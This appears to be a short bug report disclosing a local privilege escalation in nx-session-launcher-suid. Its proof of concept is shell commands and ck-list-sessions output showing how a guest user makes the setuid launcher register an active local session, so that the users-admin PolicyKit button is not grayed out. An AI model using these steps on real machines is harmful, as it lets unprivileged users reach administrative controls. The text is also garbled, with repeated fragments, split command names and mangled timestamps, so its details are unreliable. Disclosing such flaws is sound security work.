How it works?
- $ ck-list-sessions
shows my X session
- $ nx-session-launcher-suid ck-list-sessions nx-session-launcher-suid creates a session, then executes ck-list-sessions and the session ends
- $ nx-session-launcher-suid users-admin nx-session-launcher-suid creates a session, then executes users-admin and the session ends
The PolicyKit button is not grayed
A proof of concept, you can try it on a NX session:
convidado@laptop:~$ ck-list-sessions 25T16:40: 29Z'
Session1:
uid = '1000'
realname = 'Marcelo Boveto Shima,,,'
seat = 'Seat1'
session-type = ''
active = TRUE
x11-display = ':0'
x11-display-device = '/dev/tty7'
display-device = ''
remote-host-name = ''
is-local = TRUE
on-since = '2008-06-
convidado@laptop:~$ nx-session- launcher- suid ck-list-sessions 25T16:40: 29Z' 25T17:07: 12Z'
Session1:
uid = '1000'
realname = 'Marcelo,,,'
seat = 'Seat1'
session-type = ''
active = TRUE
x11-display = ':0'
x11-display-device = '/dev/tty7'
display-device = ''
remote-host-name = ''
is-local = TRUE
on-since = '2008-06-
Session3:
uid = '1001'
realname = 'Convidado,,,,'
seat = 'Seat3'
session-type = 'nx'
active = TRUE
x11-display = ':1000.0'
x11-display-device = ''
display-device = ''
remote-host-name = ''
is-local = TRUE
on-since = '2008-06-
convidado@laptop:~$ nx-session- launcher- suid users-admin
How it works? launcher- suid ck-list-sessions
nx-session- launcher- suid creates a session, then executes ck-list-sessions and the session ends launcher- suid users-admin
nx-session- launcher- suid creates a session, then executes users-admin and the session ends
- $ ck-list-sessions
shows my X session
- $ nx-session-
- $ nx-session-
The PolicyKit button is not grayed